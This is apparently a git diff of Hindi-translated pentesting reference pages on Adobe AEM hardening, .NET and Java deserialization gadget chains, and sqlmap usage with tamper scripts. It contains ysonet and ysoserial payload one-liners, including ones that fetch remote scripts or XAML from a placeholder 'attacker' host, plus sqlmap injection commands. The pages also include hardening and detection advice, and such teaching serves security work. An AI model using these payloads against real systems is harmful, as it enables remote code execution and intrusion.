@ -106,8 +106,8 @@ python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
|
||||
1. **नवीनतम संचयी सेवा पैक** पर इंस्टेंस रखें (जुलाई 2025 के अनुसार: 6.5.22)।
|
||||
2. डिफ़ॉल्ट खातों को हटा दें/घुमाएं; SSO/SAML को लागू करें।
|
||||
3. **Dispatcher फ़िल्टर** को कड़ा करें - अनाम उपयोगकर्ताओं के लिए `;`, एन्कोडेड नई पंक्तियाँ, और `*.json` या `*.querybuilder.json` को अस्वीकार करें।
|
||||
4. कंसोल्स (`/system/console`, `/crx/*`, `/etc/groovyconsole`) को IP अनुमति-सूचियों के साथ अक्षम या सुरक्षित करें।
|
||||
3. **Dispatcher फ़िल्टर** को कड़ा करें - `;`, एन्कोडेड नई पंक्तियों, और अनाम उपयोगकर्ताओं के लिए `*.json` या `*.querybuilder.json` को अस्वीकार करें।
|
||||
4. IP अनुमति-सूचियों के साथ कंसोल (`/system/console`, `/crx/*`, `/etc/groovyconsole`) को अक्षम करें या सुरक्षित करें।
|
||||
5. Adobe द्वारा भेजे गए *Anonymous Permission Hardening* पैकेज को लागू करें।
|
||||
|
||||
## संदर्भ
|
||||
|
@ -8,13 +8,13 @@
|
||||
|
||||
दस्तावेज़ से: _ObjectDataProvider Class एक ऑब्जेक्ट को लपेटता है और बनाता है जिसे आप एक बाइंडिंग स्रोत के रूप में उपयोग कर सकते हैं।_\
|
||||
हाँ, यह एक अजीब व्याख्या है, तो चलो देखते हैं कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास **एक मनमाना ऑब्जेक्ट लपेटने** की अनुमति देती है, _**MethodParameters**_ का उपयोग करके **मनमाने पैरामीटर सेट करने** के लिए, और फिर **MethodName का उपयोग करके मनमाने ऑब्जेक्ट के मनमाने फ़ंक्शन को कॉल करने** के लिए।\
|
||||
इसलिए, मनमाना **ऑब्जेक्ट** **एक फ़ंक्शन** को **पैरामीटर के साथ निष्पादित करेगा जबकि इसे डेसिरियलाइज़ किया जा रहा है।
|
||||
इसलिए, मनमाना **ऑब्जेक्ट** **डेसिरियलाइज करते समय** **पैरामीटर के साथ एक फ़ंक्शन** **निष्पादित** करेगा।
|
||||
|
||||
### **यह कैसे संभव है**
|
||||
|
||||
**System.Windows.Data** नामस्थान, जो **PresentationFramework.dll** में `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` पर पाया जाता है, वह जगह है जहाँ ObjectDataProvider परिभाषित और कार्यान्वित किया गया है।
|
||||
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy) का उपयोग करके आप **उस क्लास का कोड निरीक्षण कर सकते हैं जिसमें हम रुचि रखते हैं।** नीचे दी गई छवि में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का कोड देख रहे हैं।
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy) का उपयोग करके आप उस क्लास का **कोड निरीक्षण** कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे दी गई छवि में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का कोड देख रहे हैं।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -61,7 +61,7 @@ myODP.MethodName = "Start";
|
||||
यह क्लास **दिए गए उदाहरण में लिपटे ऑब्जेक्ट्स के ऑब्जेक्ट प्रकारों को निर्दिष्ट करने** की अनुमति देती है। इसलिए, इस क्लास का उपयोग एक स्रोत ऑब्जेक्ट (_ObjectDataProvider_) को एक नए ऑब्जेक्ट प्रकार में लिपटाने और हमें आवश्यक प्रॉपर्टीज (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_) प्रदान करने के लिए किया जा सकता है।\
|
||||
यह पहले प्रस्तुत किए गए मामले जैसे मामलों के लिए बहुत उपयोगी है, क्योंकि हम **_ObjectDataProvider**_ को एक **_ExpandedWrapper_** उदाहरण के अंदर **लिपटाने** में सक्षम होंगे और **जब डिसेरियलाइज किया जाएगा** तो यह क्लास _**OjectDataProvider**_ ऑब्जेक्ट **बनाएगी** जो _**MethodName**_ में निर्दिष्ट **फंक्शन** को **निष्पादित** करेगी।
|
||||
|
||||
आप निम्नलिखित कोड के साथ इस रैपर की जांच कर सकते हैं:
|
||||
आप निम्नलिखित कोड के साथ इस व्रैपर की जांच कर सकते हैं:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
|
||||
```
|
||||
### Json.Net का दुरुपयोग
|
||||
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net) का उपयोग करके मैंने एक्सप्लॉइट बनाया:
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net) का उपयोग करते हुए मैंने एक्सप्लॉइट बनाया:
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
@ -186,23 +186,23 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
```
|
||||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
|
||||
ऊपर प्रस्तुत ObjectDataProvider + ExpandedWrapper तकनीक केवल उन MANY gadget chains में से एक है जिन्हें एक एप्लिकेशन **unsafe .NET deserialization** करते समय दुरुपयोग किया जा सकता है। आधुनिक रेड-टीम उपकरण जैसे **[YSoNet](https://github.com/irsdl/ysonet)** (और पुराना [ysoserial.net](https://github.com/pwntester/ysoserial.net)) **तैयार-से-उपयोग किए जाने वाले दुर्भावनापूर्ण ऑब्जेक्ट ग्राफ़** बनाने को स्वचालित करते हैं जो दर्जनों gadgets और serialization प्रारूपों के लिए होते हैं।
|
||||
उपरोक्त ObjectDataProvider + ExpandedWrapper तकनीक केवल उन MANY gadget chains में से एक है जिन्हें **unsafe .NET deserialization** करते समय दुरुपयोग किया जा सकता है। आधुनिक रेड-टीम उपकरण जैसे **[YSoNet](https://github.com/irsdl/ysonet)** (और पुराना [ysoserial.net](https://github.com/pwntester/ysoserial.net)) **तैयार-से-उपयोग करने योग्य दुर्भावनापूर्ण ऑब्जेक्ट ग्राफ़** बनाने की प्रक्रिया को स्वचालित करते हैं, जो दर्जनों gadgets और serialization प्रारूपों के लिए होते हैं।
|
||||
|
||||
नीचे *YSoNet* के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ है, साथ ही यह भी बताया गया है कि वे कैसे काम करते हैं और payloads उत्पन्न करने के लिए उदाहरण कमांड।
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` रिकॉर्ड को भ्रष्ट करता है ताकि, एक बार सामग्री में आने के बाद, डेलीगेट *किसी भी* हमलावर द्वारा प्रदान किए गए मेथड की ओर इशारा करे (जैसे `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग करता है ताकि *बायपास .NET ≥4.8 टाइप-फिल्टरिंग* और प्रदान की गई क्लास के **कंस्ट्रक्टर** को सीधे कॉल किया जा सके या C# फ़ाइल को तात्कालिक रूप से **कंपाइल** किया जा सके | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet` के **विरासत XML** प्रतिनिधित्व का लाभ उठाता है ताकि `<ColumnMapping>` / `<DataType>` फ़ील्ड भरकर मनमाने प्रकारों को स्थापित किया जा सके (वैकल्पिक रूप से `--spoofedAssembly` के साथ असेंबली को फेक करना) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF-सक्षम रनटाइम्स (> .NET 5) पर प्रॉपर्टी गेटर्स को जोड़ता है जब तक कि `System.CodeDom.Compiler.CompilerResults` तक नहीं पहुँचता, फिर *कंपाइल* या *लोड* करता है एक DLL जो `-c` के साथ प्रदान की गई है | `Json.NET` टाइपलेस, `MessagePack` टाइपलेस | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (समीक्षा) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग करता है ताकि नियंत्रित तर्कों के साथ एक मनमाना स्थैतिक मेथड को कॉल किया जा सके। YSoNet एक सुविधाजनक `--xamlurl` वैरिएंट जोड़ता है ताकि दुर्भावनापूर्ण XAML को दूरस्थ रूप से होस्ट किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *आदि.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` में `ScriptBlock` को एम्बेड करता है जो तब निष्पादित होता है जब PowerShell ऑब्जेक्ट को डीसिरियलाइज करता है | PowerShell रिमोटिंग, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` रिकॉर्ड को भ्रष्ट करता है ताकि, एक बार सामग्री में आने के बाद, डेलीगेट *किसी भी* हमलावर द्वारा प्रदान किए गए तरीके (जैसे `Process.Start`) की ओर इशारा करे | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग करता है ताकि *बायपास .NET ≥4.8 टाइप-फिल्टरिंग* किया जा सके और सीधे एक प्रदान की गई कक्षा के **constructor** को कॉल किया जा सके या C# फ़ाइल को तात्कालिक रूप से **कंपाइल** किया जा सके | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet` के **legacy XML** प्रतिनिधित्व का लाभ उठाता है ताकि `<ColumnMapping>` / `<DataType>` फ़ील्ड भरकर मनमाने प्रकारों को स्थापित किया जा सके (वैकल्पिक रूप से `--spoofedAssembly` के साथ assembly को फेक करना) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF-सक्षम रनटाइम्स (> .NET 5) पर प्रॉपर्टी गेटर्स को जोड़ता है जब तक कि `System.CodeDom.Compiler.CompilerResults` तक नहीं पहुँचता, फिर *कंपाइल* या `-c` के साथ प्रदान की गई DLL को *लोड* करता है | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (समीक्षा) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग करता है ताकि नियंत्रित तर्कों के साथ एक मनमाना स्थिर विधि को कॉल किया जा सके। YSoNet एक सुविधाजनक `--xamlurl` विकल्प जोड़ता है ताकि दुर्भावनापूर्ण XAML को दूरस्थ रूप से होस्ट किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *आदि.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` में `ScriptBlock` को एम्बेड करता है जो तब निष्पादित होता है जब PowerShell ऑब्जेक्ट को डीसिरियलाइज करता है | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> सभी payloads डिफ़ॉल्ट रूप से **stdout पर लिखे जाते हैं**, जिससे उन्हें अन्य उपकरणों (जैसे ViewState जनरेटर, base64 एन्कोडर्स, HTTP क्लाइंट) में पाइप करना आसान हो जाता है।
|
||||
|
||||
### Building / Installing YSoNet
|
||||
### YSoNet का निर्माण / स्थापना
|
||||
|
||||
यदि *Actions ➜ Artifacts* / *Releases* के तहत कोई पूर्व-निर्मित बाइनरी उपलब्ध नहीं है, तो निम्नलिखित **PowerShell** one-liner एक निर्माण वातावरण स्थापित करेगा, रिपॉजिटरी को क्लोन करेगा और *Release* मोड में सब कुछ संकलित करेगा:
|
||||
```powershell
|
||||
@ -219,7 +219,7 @@ msbuild ysonet.sln -p:Configuration=Release
|
||||
संकलित `ysonet.exe` फिर `ysonet/bin/Release/` के तहत पाया जा सकता है।
|
||||
|
||||
### पहचान और मजबूत करना
|
||||
* **पहचानें** `w3wp.exe`, `PowerShell.exe`, या किसी भी प्रक्रिया के अप्रत्याशित बाल प्रक्रियाएँ जो उपयोगकर्ता द्वारा प्रदान किए गए डेटा को डेसिरियलाइज कर रही हैं (जैसे `MessagePack`, `Json.NET`)।
|
||||
* **पहचानें** `w3wp.exe`, `PowerShell.exe`, या किसी भी प्रक्रिया के अप्रत्याशित बाल प्रक्रियाएँ जो उपयोगकर्ता-प्रदत्त डेटा को डेसिरियलाइज कर रही हैं (जैसे `MessagePack`, `Json.NET`)।
|
||||
* जब भी पुरानी `BinaryFormatter` / `NetDataContractSerializer` को हटाया नहीं जा सकता है, तब **प्रकार-फिल्टरिंग** (`TypeFilterLevel` = *Full*, कस्टम `SurrogateSelector`, `SerializationBinder`, *आदि*) सक्षम करें और **लागू करें**।
|
||||
* जहाँ संभव हो, **`System.Text.Json`** या **`DataContractJsonSerializer`** पर व्हाइटलिस्ट-आधारित कन्वर्टर्स के साथ माइग्रेट करें।
|
||||
* खतरनाक WPF असेंबली (`PresentationFramework`, `System.Workflow.*`) को उन वेब प्रक्रियाओं में लोड होने से रोकें जिन्हें कभी भी उनकी आवश्यकता नहीं होनी चाहिए।
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
इस POST में एक उदाहरण समझाया जाएगा जिसमें `java.io.Serializable` **और यह क्यों खतरनाक हो सकता है यदि इनकमिंग स्ट्रीम हमलावर द्वारा नियंत्रित है, `readObject()` को ओवरराइड करना**।
|
||||
इस POST में एक उदाहरण समझाया जाएगा जिसमें `java.io.Serializable` का उपयोग किया गया है **और क्यों `readObject()` को ओवरराइड करना अत्यधिक खतरनाक हो सकता है यदि आने वाला स्ट्रीम हमलावर द्वारा नियंत्रित हो**।
|
||||
|
||||
## Serializable
|
||||
|
||||
@ -10,13 +10,13 @@ Java `Serializable` इंटरफेस (`java.io.Serializable`) एक मा
|
||||
|
||||
### Reminder: Which methods are implicitly invoked during deserialization?
|
||||
|
||||
1. `readObject()` – कक्षा-विशिष्ट पढ़ने की लॉजिक (यदि लागू किया गया और *निजी* है)।
|
||||
1. `readObject()` – कक्षा-विशिष्ट पढ़ने की लॉजिक (यदि लागू किया गया और *निजी* हो)।
|
||||
2. `readResolve()` – डेसिरियलाइज्ड ऑब्जेक्ट को दूसरे के साथ बदल सकता है।
|
||||
3. `validateObject()` – `ObjectInputValidation` कॉलबैक के माध्यम से।
|
||||
4. `readExternal()` – कक्षाओं के लिए जो `Externalizable` को लागू करती हैं।
|
||||
5. कंस्ट्रक्टर्स **नहीं** चलाए जाते हैं – इसलिए गैजेट चेन पूरी तरह से पिछले कॉलबैक पर निर्भर करती है।
|
||||
5. कंस्ट्रक्टर्स **नहीं** चलाए जाते – इसलिए गैजेट चेन पूरी तरह से पिछले कॉलबैक पर निर्भर करती है।
|
||||
|
||||
उस चेन में कोई भी विधि जो हमलावर द्वारा नियंत्रित डेटा (कमांड निष्पादन, JNDI लुकअप, रिफ्लेक्शन, आदि) को कॉल करती है, डेसिरियलाइजेशन रूटीन को RCE गैजेट में बदल देती है।
|
||||
उस श्रृंखला में कोई भी विधि जो हमलावर द्वारा नियंत्रित डेटा (कमांड निष्पादन, JNDI लुकअप, रिफ्लेक्शन, आदि) को कॉल करती है, डेसिरियलाइजेशन रूटीन को RCE गैजेट में बदल देती है।
|
||||
|
||||
आइए एक उदाहरण देखें जिसमें एक **कक्षा Person** है जो **सीरियलाइजेबल** है। यह कक्षा **readObject** फ़ंक्शन को ओवरराइट करती है, इसलिए जब इस **कक्षा** का **कोई ऑब्जेक्ट** **डेसिरियलाइज** किया जाता है, तो यह **फंक्शन** **निष्पादित** होगा।\
|
||||
उदाहरण में, कक्षा Person का **readObject** फ़ंक्शन उसके पालतू जानवर के फ़ंक्शन `eat()` को कॉल करता है और कुत्ते का फ़ंक्शन `eat()` (किसी कारण से) एक **calc.exe** को कॉल करता है। **हम देखेंगे कि इस कैलकुलेटर को निष्पादित करने के लिए एक Person ऑब्जेक्ट को कैसे सीरियलाइज और डेसिरियलाइज किया जाए:**
|
||||
@ -101,17 +101,17 @@ payloadTest("test.ser");
|
||||
## 2023-2025: Java deserialization हमलों में क्या नया है?
|
||||
|
||||
* 2023 – CVE-2023-34040: Spring-Kafka deserialization में error-record headers जब `checkDeserExWhen*` फ्लैग सक्षम होते हैं, तो हमलावर द्वारा प्रकाशित विषयों से मनमाने गैजेट निर्माण की अनुमति दी। 3.0.10 / 2.9.11 में ठीक किया गया। ¹
|
||||
* 2023 – CVE-2023-36480: Aerospike Java क्लाइंट का trusted-server अनुमान टूट गया – दुर्भावनापूर्ण सर्वर उत्तरों में ऐसे serialized payloads शामिल थे जिन्हें क्लाइंट द्वारा deserialized किया गया → RCE। ²
|
||||
* 2023 – CVE-2023-36480: Aerospike Java client का trusted-server अनुमान टूटा – दुर्भावनापूर्ण सर्वर प्रतिक्रियाओं में ऐसे serialized payloads शामिल थे जिन्हें क्लाइंट द्वारा deserialized किया गया → RCE। ²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` उपयोगकर्ता प्रोफ़ाइल विशेषता पार्सिंग ने `{#sb64}`-पूर्ववर्ती Base64 blobs को स्वीकार किया और `RestrictedObjectInputStream` के बावजूद उन्हें deserialized किया। 4.0.0 या उससे ऊपर अपग्रेड करें।
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT प्रबंधक सेवा (पोर्ट 10880) ने XML-encoded Java वस्तुओं को स्वीकार किया जिससे RCE के रूप में root/SYSTEM के रूप में पहुंच मिली।
|
||||
* 2024 – ysoserial-plus(mod) में कई नए गैजेट श्रृंखलाएँ जोड़ी गईं जिनमें Hibernate5, TomcatEmbed, और SnakeYAML 2.x कक्षाएँ शामिल हैं जो कुछ पुराने फ़िल्टरों को बायपास करती हैं।
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (पोर्ट 10880) ने XML-encoded Java वस्तुओं को स्वीकार किया जिससे RCE के रूप में root/SYSTEM के रूप में पहुंच प्राप्त हुई।
|
||||
* 2024 – ysoserial-plus(mod) में कई नए गैजेट श्रृंखलाएँ जोड़ी गईं, जिनमें Hibernate5, TomcatEmbed, और SnakeYAML 2.x कक्षाएँ शामिल हैं जो कुछ पुराने फ़िल्टरों को बायपास करती हैं।
|
||||
|
||||
## आधुनिक उपाय जो आपको लागू करने चाहिए
|
||||
|
||||
1. **JEP 290 / Serialization Filtering (Java 9+)**
|
||||
*कक्षाओं की एक अनुमति-सूची या अस्वीकृति-सूची जोड़ें:*
|
||||
```bash
|
||||
# केवल आपके DTOs और java.base को स्वीकार करें, अन्य सभी को अस्वीकृत करें
|
||||
# केवल अपने DTOs और java.base को स्वीकार करें, अन्य सभी को अस्वीकृत करें
|
||||
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
|
||||
```
|
||||
प्रोग्रामेटिक उदाहरण:
|
||||
@ -119,7 +119,7 @@ payloadTest("test.ser");
|
||||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) संदर्भ-विशिष्ट फ़िल्टर फैक्ट्रियाँ** – विभिन्न निष्पादन संदर्भ (जैसे, प्रति RMI कॉल, प्रति संदेश कतार उपभोक्ता) के लिए विभिन्न फ़िल्टर लागू करने के लिए `BinaryOperator<ObjectInputFilter>` का उपयोग करें।
|
||||
2. **JEP 415 (Java 17+) संदर्भ-विशिष्ट फ़िल्टर फैक्ट्रियाँ** – विभिन्न कार्यान्वयन संदर्भ (जैसे, प्रति RMI कॉल, प्रति संदेश कतार उपभोक्ता) के लिए विभिन्न फ़िल्टर लागू करने के लिए `BinaryOperator<ObjectInputFilter>` का उपयोग करें।
|
||||
3. **कच्चे `ObjectInputStream` को नेटवर्क पर उजागर न करें** – कोड निष्पादन अर्थशास्त्र के बिना JSON/Binary एन्कोडिंग को प्राथमिकता दें (डिफ़ॉल्ट टाइपिंग को अक्षम करने के बाद जैक्सन, Protobuf, Avro, आदि)।
|
||||
4. **Defense-in-Depth सीमाएँ** – अधिकतम एरे लंबाई, गहराई, संदर्भ सेट करें:
|
||||
```bash
|
||||
@ -127,20 +127,20 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
5. **निरंतर गैजेट स्कैनिंग** – यदि कोई खतरनाक गैजेट पहुंच योग्य हो जाता है तो निर्माण विफल करने के लिए अपने CI में `gadget-inspector` या `serialpwn-cli` जैसे उपकरण चलाएँ।
|
||||
|
||||
## अपडेटेड टूलिंग चीट-शीट (2024)
|
||||
## अद्यतन उपकरण चीट-शीट (2024)
|
||||
|
||||
* `ysoserial-plus.jar` – > 130 गैजेट श्रृंखलाओं के साथ सामुदायिक फोर्क:
|
||||
```bash
|
||||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
```
|
||||
* `marshalsec` – JNDI गैजेट निर्माण के लिए अभी भी संदर्भ।
|
||||
* `marshalsec` – JNDI गैजेट निर्माण के लिए अभी भी संदर्भ है (LDAP/RMI)।
|
||||
* `gadget-probe` – नेटवर्क सेवाओं के खिलाफ तेज़ ब्लैक-बॉक्स गैजेट खोज।
|
||||
* `SerialSniffer` – JVMTI एजेंट जो `ObjectInputStream` द्वारा पढ़ी गई प्रत्येक कक्षा को प्रिंट करता है (फ़िल्टर बनाने के लिए उपयोगी)।
|
||||
* **पता लगाने की टिप** – फ़िल्टर निर्णयों और अस्वीकृत कक्षाओं को लॉग करने के लिए `-Djdk.serialDebug=true` (JDK 22+) सक्षम करें।
|
||||
|
||||
## सुरक्षित `readObject()` कार्यान्वयन के लिए त्वरित चेकलिस्ट
|
||||
|
||||
1. विधि को `private` बनाएं और `@Serial` एनोटेशन जोड़ें (स्थिर विश्लेषण में मदद करता है)।
|
||||
1. विधि को `private` बनाएं और `@Serial` एनोटेशन जोड़ें (स्थैतिक विश्लेषण में मदद करता है)।
|
||||
2. कभी भी उपयोगकर्ता-प्रदत्त विधियों को कॉल न करें या विधि में I/O न करें – केवल फ़ील्ड पढ़ें।
|
||||
3. यदि मान्यता की आवश्यकता है, तो इसे deserialization के **बाद** करें, `readObject()` के बाहर।
|
||||
4. `Externalizable` को लागू करने को प्राथमिकता दें और डिफ़ॉल्ट serialization के बजाय स्पष्ट फ़ील्ड पढ़ें।
|
||||
|
@ -29,10 +29,10 @@
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-आधारित ब्लाइंड | डेटा का अनुमान लगाने के लिए सत्य/असत्य स्थितियों का उपयोग करता है |
|
||||
| E | त्रुटि-आधारित | परिणामों को निकालने के लिए विस्तृत DBMS त्रुटि संदेशों का लाभ उठाता है |
|
||||
| U | UNION क्वेरी | समान चैनल के माध्यम से डेटा लाने के लिए `UNION SELECT` कथनों को इंजेक्ट करता है |
|
||||
| S | स्टैक्ड क्वेरी | `;` द्वारा अलग किए गए अतिरिक्त कथनों को जोड़ता है |
|
||||
| T | समय-आधारित ब्लाइंड | इंजेक्शन का पता लगाने के लिए देरी (`SLEEP`, `WAITFOR`) पर निर्भर करता है |
|
||||
| Q | इनलाइन / आउट-ऑफ-बैंड | `LOAD_FILE()` जैसी कार्यों या DNS जैसे OOB चैनलों का उपयोग करता है |
|
||||
| U | UNION क्वेरी | डेटा को उसी चैनल के माध्यम से लाने के लिए `UNION SELECT` कथनों को इंजेक्ट करता है |
|
||||
| S | स्टैक्ड क्वेरी | `;` द्वारा अलग किए गए अतिरिक्त कथन जोड़ता है |
|
||||
| T | समय-आधारित ब्लाइंड | इंजेक्शन का पता लगाने के लिए विलंबों (`SLEEP`, `WAITFOR`) पर निर्भर करता है |
|
||||
| Q | इनलाइन / आउट-ऑफ-बैंड | `LOAD_FILE()` जैसी कार्यक्षमताओं या DNS जैसे OOB चैनलों का उपयोग करता है |
|
||||
|
||||
डिफ़ॉल्ट क्रम `BEUSTQ` है। आप उन्हें पुनर्व्यवस्थित या सीमित कर सकते हैं, जैसे केवल Boolean और समय-आधारित उसी क्रम में:
|
||||
```bash
|
||||
@ -65,7 +65,7 @@ sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
### GET Request Injection
|
||||
### GET अनुरोध इंजेक्शन
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
@ -138,44 +138,44 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| apostrophenullencode.py | अपॉस्ट्रॉफ चरित्र को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है |
|
||||
| appendnullbyte.py | पेलोड के अंत में एन्कोडेड NULL बाइट चरित्र जोड़ता है |
|
||||
| base64encode.py | दिए गए पेलोड में सभी चरित्रों को Base64 में परिवर्तित करता है |
|
||||
| between.py | बड़े से बड़ा ऑपरेटर \('>'\) को 'NOT BETWEEN 0 AND \#' के साथ बदलता है |
|
||||
| bluecoat.py | SQL कथन के बाद स्पेस चरित्र को एक मान्य यादृच्छिक खाली चरित्र के साथ बदलता है। इसके बाद चरित्र = को LIKE ऑपरेटर के साथ बदलता है |
|
||||
| chardoubleencode.py | दिए गए पेलोड में सभी चरित्रों को डबल URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं कर रहा\) |
|
||||
| commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
|
||||
| commalessmid.py | 'MID\(A, B, C\)' जैसे उदाहरणों को 'MID\(A FROM B FOR C\)' के साथ बदलता है |
|
||||
| between.py | बड़े से बड़ा ऑपरेटर \('>'\) को 'NOT BETWEEN 0 AND \#' के साथ बदलता है |
|
||||
| bluecoat.py | SQL कथन के बाद स्पेस चरित्र को एक मान्य यादृच्छिक रिक्त चरित्र के साथ बदलता है। इसके बाद चरित्र = को LIKE ऑपरेटर के साथ बदलता है |
|
||||
| chardoubleencode.py | दिए गए पेलोड में सभी चरित्रों को डबल URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं करता\) |
|
||||
| commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
|
||||
| commalessmid.py | 'MID\(A, B, C\)' जैसे उदाहरणों को 'MID\(A FROM B FOR C\)' के साथ बदलता है |
|
||||
| concat2concatws.py | 'CONCAT\(A, B\)' जैसे उदाहरणों को 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' के साथ बदलता है |
|
||||
| charencode.py | दिए गए पेलोड में सभी चरित्रों को URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं कर रहा\) |
|
||||
| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं कर रहा\)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं कर रहा\)। "\u0022" |
|
||||
| charencode.py | दिए गए पेलोड में सभी चरित्रों को URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं करता\) |
|
||||
| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं करता\)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है \(पहले से एन्कोडेड को प्रोसेस नहीं करता\)। "\u0022" |
|
||||
| equaltolike.py | ऑपरेटर समान \('='\) के सभी उदाहरणों को ऑपरेटर 'LIKE' के साथ बदलता है |
|
||||
| escapequotes.py | स्लैश के साथ उद्धरणों को एस्केप करता है \(' और "\) |
|
||||
| greatest.py | बड़े से बड़ा ऑपरेटर \('>'\) को 'GREATEST' समकक्ष के साथ बदलता है |
|
||||
| greatest.py | बड़े से बड़ा ऑपरेटर \('>'\) को 'GREATEST' समकक्ष के साथ बदलता है |
|
||||
| halfversionedmorekeywords.py | प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है |
|
||||
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' जैसे उदाहरणों को 'IF\(ISNULL\(A\), B, A\)' के साथ बदलता है |
|
||||
| modsecurityversioned.py | पूर्ण क्वेरी को संस्करणित टिप्पणी के साथ घेरता है |
|
||||
